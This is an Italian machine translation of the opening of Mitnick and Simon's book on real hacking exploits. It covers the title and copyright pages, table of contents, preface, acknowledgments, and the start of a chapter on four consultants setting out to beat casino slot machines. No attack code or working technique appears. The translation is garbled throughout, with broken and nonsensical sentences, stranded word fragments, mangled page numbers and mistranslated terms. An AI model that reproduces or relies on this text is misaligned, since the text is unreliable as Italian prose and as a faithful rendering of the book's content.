**THEARTOF
INTRUSIONE**

Le storie vere dietro le gesta di Hackers, Intruders & Deceivers
Kevin D. Mitnick
William L. Simon

**THEARTOF
INTRUSIONE**

Le storie vere dietro le gesta di Hackers, Intruders & Deceivers

**THEARTOF
INTRUSIONE**

Le storie vere dietro le gesta di Hackers, Intruders & Deceivers
Kevin D. Mitnick
William L. Simon

Vice President e Executive Group Editore: Richard Swadley

Vice President ed Executive Editore: Bob Ipsen

Vice President e Publisher: Joseph B. Wikert

Acquisizioni executive Editor: Carol Lungo

Editors Sviluppo: Emilie Herman, Kevin Shafer

Direttore editoriale: Kathryn Malm Bourgoine

Senior Editor di produzione: Angela Smith

Coordinatore del progetto: April Farling

Copia Editor: Joanne Slike

Interior Design: Kathie S. Rickard

Text Design & Composizione: Wiley composizione Servizi

Pubblicato da

Wiley Publishing, Inc.

10475 Crosspoint Boulevard

Indianapolis, IN 46256

www.wiley.com

Copyright © 2005 da Kevin D. Mitnick e William L. Simon

Pubblicato da Wiley Publishing, Inc., Indianapolis, Indiana

Pubblicato contemporaneamente in Canada

Nessuna parte di questa pubblicazione può essere riprodotta, memorizzata in un sistema di recupero

o trasmessa in qualsiasi forma o con qualsiasi mezzo, elettronico, meccanico, fotocopia, registrazione, scansione o altro, ad eccezione di quanto consentita nelle sezioni 107 e 108 del 1976, Stati Uniti Copyright Act, senza né il preventivo scritto il permesso dell'editore, o l'autorizzazione per il pagamento del canone adeguato per-copia alla Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978) 646-8600. Le richieste al Publisher per autorizzazione deve essere rivolta al Dipartimento Legale, Wiley Publishing, Inc., 10475 Crosspoint Blvd., Indianapolis, IN 46256, (317) 572-3447, fax (317) 572-4355, e-mail: brandreview@wiley.com.

Limite di responsabilità / Esclusione di garanzia: L'editore e l'autore non rilasciano dichiarazioni o dalla guerra

ga- rispetto alla accuratezza o la completezza del contenuto di questo lavoro e specificatamente rinuncia

tutte le garanzie, incluse senza limitazione le garanzie di idoneità per uno scopo particolare.

Nessuna garanzia può

essere creata o prorogato di vendite o materiali promozionali. I consigli e le strategie contenute nel presente documento possono

non essere adatto per ogni situazione. Questo lavoro è venduto con la consapevolezza che l'editore non è

impegnati nel rendere legale, contabile, o altri servizi professionali. Se l'assistenza professionale è richiesta, i servizi di un professionista competente dovrebbero essere cercati. Né l'editore né il autore sarà responsabile per danni derivanti dal presente atto. Il fatto che una organizzazione o sito web è denominato

nel presente lavoro come citazione e / o di una potenziale fonte di ulteriori informazioni non significa che la

autore o l'editore approva le informazioni l'organizzazione o sito web possono fornire o raccomandazioni

dazioni può fare. Inoltre, i lettori devono essere consapevoli che siti Internet elencati in questo lavoro possono avere

modificati o scomparsi tra allora questo lavoro è stato scritto e quando viene letto.

Per informazioni generali sui nostri prodotti e servizi si prega di contattare il nostro Servizio Clienti Dipartimento negli Stati Uniti al (800) 762-2974, fuori dagli Stati Uniti al (317) 572-3993 o fax (317) 572-4002.

Marchi: Wiley e il logo Wiley sono marchi o marchi registrati di John Wiley & Sons,

Inc. e / o delle sue affiliate, negli Stati Uniti e in altri paesi, e non possono essere utilizzati senza scritta

il permesso. Tutti gli altri marchi sono di proprietà dei rispettivi proprietari. Wiley Publishing, Inc., è

non associato con qualsiasi prodotto o vendor menzionati in questo libro.

Wiley pubblica anche i suoi libri in una varietà di formati elettronici. Alcuni contenuti che appare in stampa può

non essere disponibili in libri elettronici.

Library of Congress Catalogazione-in-pubblicazione dei dati:

Mitnick, Kevin D. (Kevin David), 1963-

L'arte dell'intrusione: storie vere dietro le gesta di hacker, intrusioni, e ingannatori / Kevin D. Mitnick, William L. Simon.

p. cm.

Include indice.

ISBN 0-7645-6959-7 (panno)

1. La sicurezza informatica. 2. Gli hacker. I. Simon, William L., 1930- II. Titolo.

QA76.9.A25M587 2005

*Per Shelly Jaffe, Reba Vartanian, Chickie Leventhal,
Mitchell Mitnick
Per Darci e Briannah
E per la fine Alan Mitnick, Adam Mitnick,
Sydney Kramer, Jack Biello.
Per Arynne, Victoria, Sheldon, e David, e per Vincent e
Elena*

Contenuto

Capitolo 1

Hacking casinò per un milione di dollari.1

Capitolo 2

Quando terroristi Vieni Calling.23

Capitolo 3

Il Texas Prison Hack.49

Capitolo 4

Cops and Robbers.69

Capitolo 5

L'Hacker Robin Hood.91

Capitolo 6

La saggezza e la follia del test di penetrazione.115

Capitolo 7

Naturalmente il vostro Bank è sicuro - Diritto?139

Capitolo 8

La tua proprietà intellettuale non è sicuro. 0,153

Capitolo 9

Sul continente. 0,195

Capitolo 10 ingegneri sociali - come funzionano

e come fermarli. 0,221

Capitolo 11 Corto prende. 0,247

Index. 0,261

Prefazione

Gli hacker giocare one-up tra di loro. Chiaramente uno dei premi sarebbe da vantarsi di hacking in sito o Web della mia azienda di sicurezza il mio sistema personale.

Un'altra potrebbe essere che avevano fatto una storia di un hack e piantato su di me e il mio co-autore Bill Simon in modo convincente che siamo stati portati

in, credeva come vero, e inclusi in questo libro.

Che ha presentato una sfida affascinante, un gioco di astuzia che i due di noi hanno giocato di volta in volta come abbiamo fatto le interviste per il libro. Per la maggior parte dei giornalisti e autori, che stabilisce l'autenticità è abbastanza routine: È davvero la persona che lui o lei afferma di essere? È questa persona o è stato questa persona davvero lavorando per l'organizzazione che lui o lei sostiene? Forse questa persona ha la posizione di lui o lei dice? Questa persona ha documentazione per eseguire il backup della storia, e posso verificare che i documenti sono validi? Ci sono persone rispettabili che sosterranno la storia o le parti di esso?

Con gli hacker, controllando la buona fede è ingannevole. La maggior parte delle persone le cui storie compaiono in questo libro, che non sia un pochi che hanno già stato in prigione, si troverebbe ad affrontare accuse penali se la loro vera identità potrebbe essere determinata. Quindi, chiedendo i nomi reali, o in attesa di essere offerto come prova, è una proposta incerto.

Queste persone si sono fatti avanti solo con le loro storie perché fidati di me. Sanno che ho fatto il tempo me stesso, e sono disposti a fare affidamento on non li mia tradire in un modo che li potrebbe mettere in quella posizione.

Eppure, nonostante i rischi, molti hanno offerto una prova tangibile del loro hack.

Anche così, è possibile - anzi, è probabile - che alcune persone esaltato le loro storie con dettagli destinati a renderli più convincenti, o filato una storia che è stata inventata, ma costruito intorno abbastanza exploit praticabili per dare loro l'anello di verità.

A causa di tale rischio, siamo stati diligenti in possesso di un elevato standard di affidabilità. Attraverso tutte le interviste, ho sfidato ogni dettaglio tecnico, chiedendo spiegazioni approfondite di qualche cosa che non ha fatto

ix

suono giusto, e, talvolta, seguito più tardi per vedere se la storia era ancora lo stesso o se lui o lei ha detto in modo diverso la seconda volta intorno. Oppure, se questa persona "non ricordava" quando gli viene chiesto su alcuni difficile da realizzare passo omesso dalla storia. Oppure, se questa persona solo non sembrava sapere abbastanza per fare quello che lui o lei richiesto o non poteva spiegare come lui o ha ottenuto dal punto A al punto B.

Salvo dove espressamente specificato, ogni uno dei principali storie in questo libro ha superato il mio "test odore." Il mio co-autore e ho concordato il credibilità di ogni persona la cui storia abbiamo incluso. Tuttavia, dettagli sono stati spesso cambiati per proteggere l'hacker e la vittima. In molte delle storie, le identità delle società sono mascherati. I modificatori cato i nomi, industrie, e le posizioni delle organizzazioni mirate. In alcuni casi, vi sono informazioni fuorvianti per proteggere l'identità vittima o per evitare una duplicazione del delitto. Tuttavia, il vulnerabile di base nerabilities e la natura degli incidenti sono accurate.

Allo stesso tempo, perché gli sviluppatori di software e hardware fabbricazione turers sono continuamente alla correzione delle vulnerabilità di sicurezza tramite patch e nuove versioni dei prodotti, alcuni dei exploit descritti in queste pagine ancora lavorare come descritto qui. Questo potrebbe portare il lettore troppo sicuro di sé per decidere che lui o lei non deve preoccuparsi, che, con le vulnerabilità partecipato a e corretto, il lettore e la sua compagnia hanno niente di essere preoccupati. Ma la lezione di queste storie, sia che

successo sei mesi fa o sei anni fa, è che gli hacker stanno trovando nuovi vulnerabilità ogni giorno. Leggere il libro di non imparare vulnerabilità specifico cravatte a prodotti specifici, ma di cambiare i vostri atteggiamenti e di ottenere un nuovo risolvere.

E leggere il libro, troppo, per essere intrattenuti, intimorito, stupito il con-exploit stantemente sorprendenti di questi hacker perfidamente intelligenti. Alcuni sono scioccante, alcuni sono di aprire gli occhi, un po 'vi farà ridere al nervo ispirato dell'hacker. Se sei un professione IT o della sicurezza nale, ogni storia ha lezioni per voi per rendere la vostra organizzazione più sicuro. Se sei una persona non tecnica, che gode di storie di crimine, DAR-ING, l'assunzione di rischi, e solo coraggio pianura, troverete tutto qui. Ognuno di queste avventure coinvolto il pericolo di un colpo alla porta, dove un drappello di poliziotti, agenti dell'FBI, e tipi di servizio segreto sarebbe essere in attesa con le manette pronte. E, in alcuni casi, che è esattamente quello che è successo.

Per il resto, la possibilità rimane. Nessuna meraviglia che la maggior parte di questi gli hacker non sono mai stati disposti a raccontare le loro storie prima. La maggior parte di questi avventure che leggerete qui sono stati pubblicati per la prima volta.

L'arte dell'intrusione

x

Ringraziamenti

By Kevin Mitnick

Questo libro è dedicato alla mia splendida famiglia, amici stretti, e, la maggior parte di tutto, le persone che hanno reso possibile questo libro - il black-hat e hacker white-hat che hanno contribuito le loro storie per la nostra istruzione e intrattenimento.

L'arte dell'intrusione era ancora più difficile da scrivere che il nostro ultimo libro. Invece di utilizzare il nostro talento creativo unito per sviluppare storie e aneddoti per illustrare i pericoli di ingegneria sociale e di quello le aziende possono fare per mitigarlo, sia Bill Simon e ho fatto affidamento su intervistando ex hacker, phreak e hacker trasformato sicurezza professionisti. Abbiamo voluto scrivere un libro che fosse sia un crimine il thriller e una guida illuminante per aiutare le aziende a proteggere i loro di informazione e di calcolo preziose risorse. Siamo fermamente convinti che rivelando le metodologie e le tecniche più comuni utilizzate dai hackers per entrare nei sistemi e reti, possiamo influenzare la comunità in generale di affrontare adeguatamente tali rischi e minacce poste dalla savvy avversari.

Ho avuto la fortuna straordinaria di essere collaborato con best-seller Bill Simon, e abbiamo lavorato diligentemente insieme su questo nuovo libro. Capacità notevoli di Bill come scrittore sono la sua capacità magica di prendere le informazioni fornite dai nostri collaboratori e scrivere in un tale stile e modo che la nonna di chiunque poteva capirlo. Altro importanza tanza, Bill è diventato molto più di un partner commerciale per iscritto, ma un amico fedele che è stato lì per me durante tutto questo sviluppo processo. Anche se abbiamo avuto alcuni momenti di frustrazione e differenze del parere nel corso della fase di sviluppo, si lavora sempre fuori per il nostro soddisfazione reciproca. In poco più di due anni, sarò finalmente in grado di scrivere e pubblicare il *The Untold Story di Kevin Mitnick*, dopo un certo governo

Limiti d'scadono. Speriamo, Bill e io collaborare su questo
proiettare pure.
xi

Splendida moglie di Bill, Arynne Simon, ha anche un posto caldo nel mio cuore.

Apprezzo il suo amore, la gentilezza e la generosità che mi ha mostrato in
negli ultimi tre anni. La mia unica esperienza deludente non è in grado
per godere della sua grande cucina. Ora che il libro è finalmente finito, forse
Posso convincerla a cucinare una cena di festa!

Essendo stato così concentrato su *L'arte dell'intrusione*, non sono stato in grado di
trascorrere del tempo di qualità con molto la famiglia e gli amici. Sono diventato qualcuno
quello di un maniaco del lavoro, simile ai giorni in cui mi piacerebbe trascorrere ore e ore
dietro la tastiera di esplorare gli angoli bui del cyberspazio.

Voglio ringraziare la mia fidanzata amorevole, Darci Wood, e il suo game-amante
figlia Briannah per essere di supporto e paziente nel corso di questo tempo-
consumando progetto. Grazie, il bambino, per tutto il vostro amore, dedizione, e
supporto che e Briannah mi avete fornito mentre si lavora su questo
e altri progetti impegnativi.

Questo libro non sarebbe stato possibile senza l'amore e il sostegno
della mia famiglia. Mia madre, Shelly Jaffe, e mia nonna, Reba
Vartanian, mi hanno dato amore incondizionato e di sostegno per tutta la mia
vita. Sono così fortunato ad essere stato allevato da una amorevole e dedicato
madre, che considero anche il mio migliore amico. Mia nonna è stata
come una seconda mamma per me, darmi con lo stesso nutrimento e l'amore
che di solito solo una madre può dare. E 'stata estremamente utile in
gestione alcuni dei miei affari, che a volte interferito con il suo
pianificazione. In ogni caso, ha fatto la mia attività una priorità assoluta, anche
quando era scomodo farlo. Grazie, Gram, per avermi aiutato
il lavoro fatto ogni volta che avevo bisogno. Come per- attento e compassionevole
ple, mi hanno insegnato i principi di prendersi cura degli altri e prestati
una mano ai meno fortunati. E così, imitando il modello di
dare e premuroso, io, in un certo senso, seguire i percorsi della loro vita. Spero che
mi perdoneranno per il loro inserimento nel dimenticatoio durante il processo
di scrivere questo libro, passando fino possibilità di vederli con la scusa di
lavoro e scadenze da rispettare. Questo libro non sarebbe stato possibile
senza il loro costante amore e il sostegno che mi tengo sempre vicino a
il mio cuore.

Come vorrei che mio padre, Alan Mitnick, e mio fratello, Adam Mitnick,
avrebbe vissuto abbastanza per rompere una bottiglia di champagne con
me il giorno del nostro secondo libro appare per la prima in una libreria. Come vendita-
uomo e imprenditore, mio padre mi ha insegnato molte cose belle
che non dimenticherò mai.

Ritardo fidanzato di mia madre, Steven Knittle, è stato una figura paterna per
me negli ultimi 12 anni. Ho preso grande conforto sapere che eri
sempre lì a prendersi cura di mia mamma quando non ho potuto. Il tuo passaggio ha
L'arte dell'intrusione

xii

ha avuto un profondo impatto sulla nostra famiglia e ci manca il vostro umorismo, la risata,

e l'amore che ha portato alla nostra famiglia. RIP.

Mia zia Chickie Leventhal avrà sempre un posto speciale nel mio cuore.

Nel corso degli ultimi due anni, i nostri legami familiari sono stati rafforzati, e la nostra comunicazione è stato meraviglioso. Ogni volta che ho bisogno di un consiglio o di un luogo di soggiorno, lei è sempre lì offrendo il suo amore e sostegno. Durante la mia intensa devozione a scrivere questo libro, ho sacrificato molte opportunità per unirsi a lei, mia cugina, Mitch Leventhal, e il suo fidanzato, il dottor Robert Berkowitz, per la nostra famiglia ritrovi.

Il mio amico Jack Biello era una persona amorevole e premuroso che ha parlato fuori contro il maltrattamento straordinario ho sofferto per mano di ministri e pubblici ministeri del governo. Era una voce fondamentale nel Kevin libero movimento e uno scrittore che aveva un talento straordinario per la scrittura com-articoli Pelling espongono le informazioni che il governo non ha fatto voglio che tu sappia. Jack era sempre lì a parlare senza timore sul mio nome e per lavorare insieme a me preparare discorsi e articoli, e, ad un certo punto, mi rappresentato da collegamento multimediale. Mentre finendo il manoscritto di *The Art of Deception* (Wiley Publishing, Inc., 2002), Morte di Jack mi ha fatto sentire un grande senso di perdita e di tristezza. Sebbene sono passati due anni, Jack è sempre nei miei pensieri.

Uno dei miei amici più cari, Caroline Bergeron, è stato molto soste-ive del mio impegno per avere successo in questo progetto di libro. Lei è una bella e brillante avvocato living soon-to-be nel Grande Nord bianco. Dopo aver incontrato lei durante uno dei miei impegni di lingua a Victoria, ci si piacquero subito. Ha prestato la sua esperienza per correzione di bozze, editing, e correttezza ing la due giorni di ingegneria sociale seminario che Alex Kasper e sviluppo pato. Grazie, Caroline, per essere lì per me.

Il mio collega Alex Kasper non è solo il mio migliore amico, ma anche il mio colleague; stiamo lavorando sulla realizzazione di un giorno e di due giorni del Semmering semi- su come le aziende possono riconoscere e difendersi sociale attacchi di ingegneria. Insieme abbiamo ospitato un popolare Internet radio colloquio spettacolo noto come "The Darkside di Internet" in radio KFI a Los Angeles. Sei stato un grande amico e confidente. Grazie per la vostra preziosa assistenza e consulenza. La vostra influenza è sempre stata positiva e disponibile con una gentilezza e generosità che spesso si estendeva ben oltre la norma.

Paul Dryman è stato un amico di famiglia per molti, molti anni. Paul era migliore amico di mio padre defunto. Dopo la morte di mio padre, Paul è stato un padre figura, sempre pronto ad aiutare e parlare con me di qualsiasi cosa sul mio mente. Grazie, Paolo, per la tua amicizia fedele e devoto alla mia padre e io per tanti anni.

Ringraziamenti

xiii

Amy Gray è riuscita la mia carriera di lingua per gli ultimi tre anni. Non solo io ammiro e adoro la sua personalità, ma apprezzo il modo in cui tratta altre persone con tanto rispetto e cortesia. Il vostro sostegno e dedizione di professionalità ha contribuito al mio successo come oratore pubblico e allenatore. Grazie mille per la vostra amicizia e il vostro continuo impegno verso l'eccellenza.

Avvocato Gregory Vinson era sulla mia squadra di difesa durante la mia anni-

lunga battaglia con il governo. Sono sicuro che può riguardare comprensione di Bill in piedi e pazienza per il mio perfezionismo; ha avuto lo stesso esperienza di lavoro con me su ricorsi legali che ha scritto sul mio conto. Gregory è ora la mia attività avvocato diligentemente lavorando con me sulla nuova contratti e offerte di negoziazione di affari. Grazie per la vostra meravigliosa supporto e diligente lavoro, soprattutto quando necessario con breve preavviso. Eric Corley (aka Emmanuel Goldstein) è stato un sostenitore attivo e amico per oltre un decennio. Ha sempre guardato fuori per il mio migliore interesse e ha pubblicamente difeso me quando sono stato demonizzato dai Miramax Films e alcuni altri giornalisti. Eric è stato estremamente strumentale a ottenere la *parola* durante procuratori del governo zione di me. La tua gentilezza, generosità, e l'amicizia significa di più per me quanto le parole possano esprimere. Grazie per essere un amico leale e fidato. Steve Wozniak e Sharon Akers hanno dato molto del loro tempo per aiutare me e sono sempre lì ad aiutarmi. Il riassetto frequente del orari di essere lì per sostenere me è molto apprezzato e mi scalda chiamare tutti e due miei amici. Speriamo, ora che questo libro è com- completata, avremo più tempo per stare insieme per qualche qualità gadget tempo. Steve - Non dimenticherò mai il momento in cui lei, Jeff Samuels, e io ha guidato tutta la notte nella vostra Hummer per arrivare a DEFCON a Las Vegas, passando driver costantemente in modo che tutti potessimo controllare la nostra e-mail e chiacchierare con gli amici sulle nostre connessioni wireless GPRS. E mentre scrivo questi riconoscimenti, mi accorgo di avere così tante persone per ringraziare ed esprimere apprezzamento per per offrire il loro amore, l'amicizia, e il supporto. Non posso cominciare a ricordare i nomi di tutti i tipi e persone generose che ho incontrato in questi ultimi anni, ma basti dire, lo farei bisogno di una grande unità flash USB per archiviare tutti. Ci sono stati così tanti persone provenienti da tutto il mondo che mi hanno scritto parole di incorag- gestione, la lode, e il supporto. Queste parole hanno significato molto per me, soprattutto durante i tempi ne avevo più bisogno. Sono particolarmente grato a tutti i miei tifosi che mi è stato vicino e speso il loro tempo prezioso ed energie ottenere la parola a chiunque che sarebbe ascoltare, esprimere la loro preoccupazione e la mia obiezione trattamento ingiusto e L'arte dell'intrusione

xiv

l'iperbole creato da coloro che hanno cercato di trarre profitto dal "Il Mito di Kevin Mitnick. "

Sono ansioso di ringraziare quelle persone che rappresentano la mia carriera professionale e sono dedicati in modo straordinario. David Fugate, di Waterside Productions, è il mio agente libro che è andato a battere per me su molti occa- sioni prima e dopo il contratto è stato firmato libro.

Apprezzo molto l'opportunità che John Wiley & Sons ha mi ha dato all'autore un altro libro, e per la loro fiducia nella nostra capacità sviluppare un best seller. Desidero ringraziare le seguenti persone che Wiley reso possibile questo sogno: Ellen Gerstein; Bob Ipsen; Carol Long, che sempre risponde prontamente alle mie domande e preoccupazioni (il mio numero uno contatto a Wiley e direttore esecutivo); e Emilie Herman e Kevin Shafer (redattori di sviluppo), che hanno entrambi lavorato con noi come una squadra per ottenere il lavoro fatto.

Ho avuto anche molte esperienze con gli avvocati, ma sono desiderosi di avere un luogo per esprimere il mio ringraziamento per gli avvocati che, durante gli anni del mio interazioni negative con il sistema di giustizia penale, intensificati e offerto di aiutarmi quando ero un disperato bisogno. Dalle parole gentili profondo coinvolgimento con il mio caso, ho incontrato molti che non a tutti in forma il stereotipo del procuratore egocentrico. Sono venuto per rispetto, ammirazione, e apprezzare la gentilezza e la generosità di spirito che mi è così liberamente da tanti. Ognuno di essi meritano di essere riconosciuto con un paragrafo di parole favorevoli; Io almeno li citare per nome, per ognuno dei quali vive nel mio cuore circondato da apprezzamento: Greg Aclin, Fran Campbell, Lauren Colby, John Dusenbury, Sherman Ellison, Omar Figueroa, Jim French, Carolyn Hagin, Rob Hale, David Mahler, Ralph Peretz, Alvin Michaelson, Donald C. Randolph, Alan Rubin, Tony Serra, Salta liste, Richard Steingard, Onorevole Robert Talcott, Barry Tarlow, John Yzurdiaga, e Gregory Vinson.

Altri membri della famiglia, amici personali, colleghi di lavoro che hanno mi ha dato consigli e supporto, e hanno raggiunto in molti modi, si importante riconoscere e riconoscere. Sono JJ Abrams, Sharon Akers, Matt "NullLink" Beckman, Alex "CriticalMass" Berta, Jack Biello, Serge e Susanne Birbrair, Paul Block, Jeff Bowler, Matt "404" Burke, Mark Burnett, Thomas Cannon, Graceann e Perry Chavez, Raoul Chiesa, Dale Coddington, Marcus Colombano, Avi Corfas, Ed Cummings, Jason "Cypher" Satterfield, Robert Davies, Dave Delancey, reverendo digitale, Oyvind Dossland, Sam Downing, John Draper, Ralph Echemendia, Ori Eisen, Roy Eskapa, Alex Fielding, Erin Finn, Gary Pesce e Fishnet Security, Lisa Flores, Brock Frank, Gregor Freund, Sean Gailey e tutto l'equipaggio Jinx, Michael e Katie Gardner,

Ringraziamenti

xv

Steve Gibson, Rop Gonggrijp, Jerry Greenblatt, Thomas Greene, Greg Grunberg, Dave Harrison, G. Mark Hardy, Larry Hawley, Leslie Herman, Michael Hess e tutti a borse RoadWired, Jim Hill, Ken Holder, Rochell Hornbuckle, Andrew "Bunnie" Huang, Linda Hull, Steve Hunt, tutte le grandi persone a IDC, Marco Ivaldi, Virgilio Kasper, Stacey Kirkland, Erik Jan Koedijk, la Famiglia Lamo, Leo e Jennifer Laporte, Pat Lawson, Candi Layman, Arnaud Le-hung, Karen Leventhal, Bob Levy, David e Mark Litchfield, CJ Little, Jonathan Littman, Mark Loveless, Lucky 225, Mark Maifrett, Lee Malis, Andy Marton, Lapo Masiero, Forrest McDonald, Kerry McElwee, Jim "gonzo" McAnally, Paul e Vicki Miller, Elliott Moore, Michael Morris, Vincenzo, Paolo e Eileen Navarino, Patrick e Sarah Norton, John Nunes, Shawn Nunley, Janis Orsino, Tom Parker, Marco Plas, Kevin e Lauren Poulsen, Scott Press, Linda e Arte Pryor, Pyr0, John Rafuse, Mike Roadancer e la Tutto l'equipaggio di sicurezza da HOPE 2004 RGB, Israele e Rachel Rosencrantz, Mark Ross, Bill Royle, William Royer, Joel "ch0l0man" Ruiz, Martyn Ruks, Ryan Russell, Brad Sagarin, Martin Sargent, Loriann Siminas, Te Smith, Dan Sokol, Trudy Spector, Matt Spergel, Gregory Spievack, Jim e Olivia Sumner, Douglas Thomas, Cathy Von, Ron Wetzal, Andrew Williams, Willem, Don David Wilson, Joey Wilson, Dave

e Dianna Wykofka, e tutti i miei amici e sostenitori delle schede su Labmistress.com 2600 la rivista.

Con Bill Simon

Nel fare il nostro primo libro, *L'arte dell'inganno*, Kevin Mitnick e forgiati un'amicizia. Mentre scrivevo questo, abbiamo sempre trovato nuovi modi di lavorare insieme approfondendo la nostra amicizia. Quindi, le mie prime parole di apprezzamento andare a Kevin per essere un eccezionale "compagno di viaggio", come abbiamo condiviso questo secondo viaggio.

David Fugate, il mio agente a Waterside Productions e l'uomo incaricato bile per portare Kevin e me insieme, in primo luogo, attinto il suo solito negozio di pazienza e saggezza per trovare il modo di risolvere quei pochi missione situazioni erable sopravvenuto. Quando il gioco si fa duro, ogni scrittore dovrebbe essere benedetto con un agente che è saggio e buono un amico. Idem per il mio amico di lunga data Bill Gladstone, il fondatore di Waterside Productions e il mio agente principale. Bill rimane un fattore chiave nel successo della mia carriera di scrittore e ha la mia gratitudine eterna.

Mia moglie Arynne continua ad ispirarmi di nuovo ogni giorno con il suo amore e la sua dedizione per l'eccellenza; L'ho apprezzato più di quanto possa dire in parole. Ha aumentato la mia competenza di scrittore per la sua intel- intelli- e la volontà di essere schietto raccontando me dritto quando

L'arte dell'intrusione

xvi

mia scrittura ha mancato il bersaglio. In qualche modo si ottiene attraverso il vapore di ira che è la mia solita risposta iniziale ai suoi suggerimenti, ma alla fine Accetto la saggezza dei suoi suggerimenti e fare la riscrittura.

Mark Wilson ha prestato una mano amica che ha fatto la differenza. Emilie Herman era un campione di un editor. E non posso dimenticare il lavoro di Kevin Shafer, che ha assunto dopo Emilie sinistra.

Anche un libro XVI accumula un debito di persone che lungo il percorso sono stati più di un po' di utile; dei tanti, voglio soprattutto a parlare Kimberly Valentini e Maureen Maloney di Waterside, e Josephine Rodriguez. Marianne Stuber ha fatto il suo solito ritorno veloce trascrizione (non facile con tutti quegli strani termini tecnici e degli hacker slang) e Jessica Dudgeon mantenuto l'ufficio in equilibrio. Darci Legno Era un campione circa il tempo di lei Kevin dedicato a ottenere questo libro fatto.

Un ringraziamento speciale a figlia Victoria e il figlio Sheldon per la loro comprensione in piedi, e ai miei nipoti gemelli Vincent e Elena, i quali

Confido che sarò in grado di vedere ancora una volta questo manoscritto è consegnato.

Per i molti che ci ha offerto le storie, e in particolare a coloro la cui com- storie Pelling abbiamo scelto di usare, Kevin e io sono profondamente indebitati. Essi si fece avanti nonostante rischi significativi. Erano i loro nomi stati rivelati, in molti casi essi avrebbero avuto di essere trascinati via dagli uomini in blu. Anche coloro le cui storie non sono stati utilizzati hanno mostrato coraggio in loro volontà- strino di condividere, e meritano di essere ammirato per questo. Noi, infatti, ammiriamo li.

Ringraziamenti

xvii

1

Capitolo 1

Hacking Casinò per un milione di dollari

Ogni volta che [alcuni software engineer] dice: "Nessuno si prenderà la briga di farlo, c'è un ragazzino in Finlandia che si prenderà la briga.

- Alex Mayfield

T

ecco che arriva momento di un giocatore magico in cui le emozioni semplici magnificare diventare fantasie 3-D - un momento in cui l'avidità mastica l'etica e il sistema di casinò è solo un'altra montagna in attesa di essere conquistato. In quel singolo momento l'idea di un infallibile modo per battere i tavoli o le macchine calci non solo in ma calcia proprio fiato.

Alex Mayfield e tre suoi amici hanno fatto più di sogno ad occhi aperti. Come molti altri hack, questo ha iniziato come un esercizio intellettuale solo per vedere se sembrava possibile. Alla fine, i quattro effettivamente battere il sistema, prendendo i casinò per "circa un milione di dollari", dice Alex.

Nei primi anni 1990, i quattro stavano lavorando come consulenti in high-tech e giocare vita dissoluta e casual. "Sai - che ci si lavora, fare un po' soldi, e poi non funziona finché non si fosse rotto. "

Las Vegas era lontano, una cornice per film e spettacoli televisivi. Così quando una società di tecnologia ha offerto ai ragazzi un incarico di sviluppare alcuni software e poi accompagnare a una fiera in un high-tech convenzionale Zion lì, hanno saltato al volo l'occasione. Sarebbe la prima a Las Vegas per ciascuno di essi, la possibilità di vedere le luci lampeggianti per se stessi, tutto spese sostenute; che si trasformerebbe che verso il basso? Le suite separate per ogni in un grande albergo ha fatto sì che la moglie di Alex e fidanzata di Mike potrebbe essere

incluso nel divertimento. Le due coppie, oltre a Larry e Marco, partirono per tempi caldi in Sin City.

Alex dice di non sapere molto su gioco d'azzardo e non sapevano cosa aspettarsi. "Si ottiene l'aereo e si vede tutti i vecchiette Play ing gli slot. Sembra divertente e ironico, e si ammollo che in " .

Dopo i quattro avevano finito di fare fiera, si e due signore erano seduti intorno al casinò di loro Slot Hotel di gioco macchine e godendo birre gratis quando la moglie di Alex ha offerto una sfida:

"Non sono queste macchine basate su computer? Voi ragazzi siete in computer, non si può fare qualcosa di così che vincere di più? "

I ragazzi rinviata al privato di Mike e seduti intorno tirare fuori questioni e offrendo teorie su come le macchine potrebbero funzionare.

Ricerca

Questo è stato il grilletto. I quattro "ha ottenuto un pò curioso di tutto ciò, e noi iniziato a cercare in esso quando siamo tornati a casa ", dice Alex, riscaldamento ai ricordi vividi di quella fase creativa. Ci sono voluti solo un po' di tempo per la ricerca per sostenere ciò che già sospettavano. "Sì, sono com-

programmi per computer fondamentale. Allora ci interessava, era lì alcuni modo che si potrebbe rompere queste macchine? "

C'erano persone che avevano battuto le slot machine da "sostituendo la firmware" - per raggiungere il chip all'interno di una macchina e sostituendo la programmazione per una versione che fornirebbe molto più payoff interessanti rispetto al casinò destinati. Altre squadre avevano fatto che, ma sembrava richiedere cospirato con un dipendente del casinò, e non solo qualsiasi dipendente ma uno dei techies slot machine. Per Alex e il suo bilanciere, "ROM scambiano sarebbe stato come colpire una vecchia signora sulla testa e prendere la borsa. "Hanno capito se avevano intenzione di provare questo, sarebbe come una sfida alle proprie capacità di programmazione e le loro intelletto. E poi, non avevano avanzato talenti in ingegneria sociale; essi erano ragazzi di computer, privo di qualsiasi conoscenza di come si Sidle fino ad un dipendente del casinò e propone che si uniscono in un piccolo schema di prendere po' di soldi che non ti appartiene.

Ma come avrebbero iniziare ad affrontare il problema? Alex ha spiegato:

Ci chiedevamo se potevamo davvero prevedere qualcosa sulla sequenza delle carte. O forse siamo riusciti a trovare una porta sul retro [Codice software che consente l'accesso non autorizzato in seguito al programma] che qualche programmatore possa aver messo in per il proprio beneficio. Tutto programmi sono scritti da programmatori e programmatori sono

L'arte dell'intrusione

2

creature maligne. Abbiamo pensato che in qualche modo potremmo incappare su una porta sul retro, come ad esempio la pressione una sequenza di tasti per cambiare le probabilità, o un semplice difetto di programmazione che abbiamo potuto sfruttare.

Alex ha letto il libro *Il Eudaemonic Pie* di Thomas Bass (Penguin, 1992), la storia di come un gruppo di ragazzi di computer e fisici in 1980 ha battuto roulette di Las Vegas con la propria invenzione di un "all'usura in grado di computer" delle dimensioni di un pacchetto di sigarette per prevedere l'uscita venire di un gioco della roulette. Un membro del team al tavolo sarebbe clic per introdurre la velocità della ruota della roulette e come la palla era spinning, e il computer sarebbe poi nutrire toni via radio ad un'udienza facilitare l'orecchio di un altro membro del team, che avrebbe interpretare i segnali e piazzare una scommessa appropriata. Dovrebbero hanno camminato via con una tonnellata di soldi, ma non lo fece. In considerazione di Alex, "Il loro schema chiaramente avuto grande potenziale, ma è stato afflitto da tecnologia ingombrante e inaffidabile.

Inoltre, ci sono stati molti partecipanti, così il comportamento e rapporto interpersonale le erano un problema. Eravamo determinati a non ripetere gli stessi errori. "

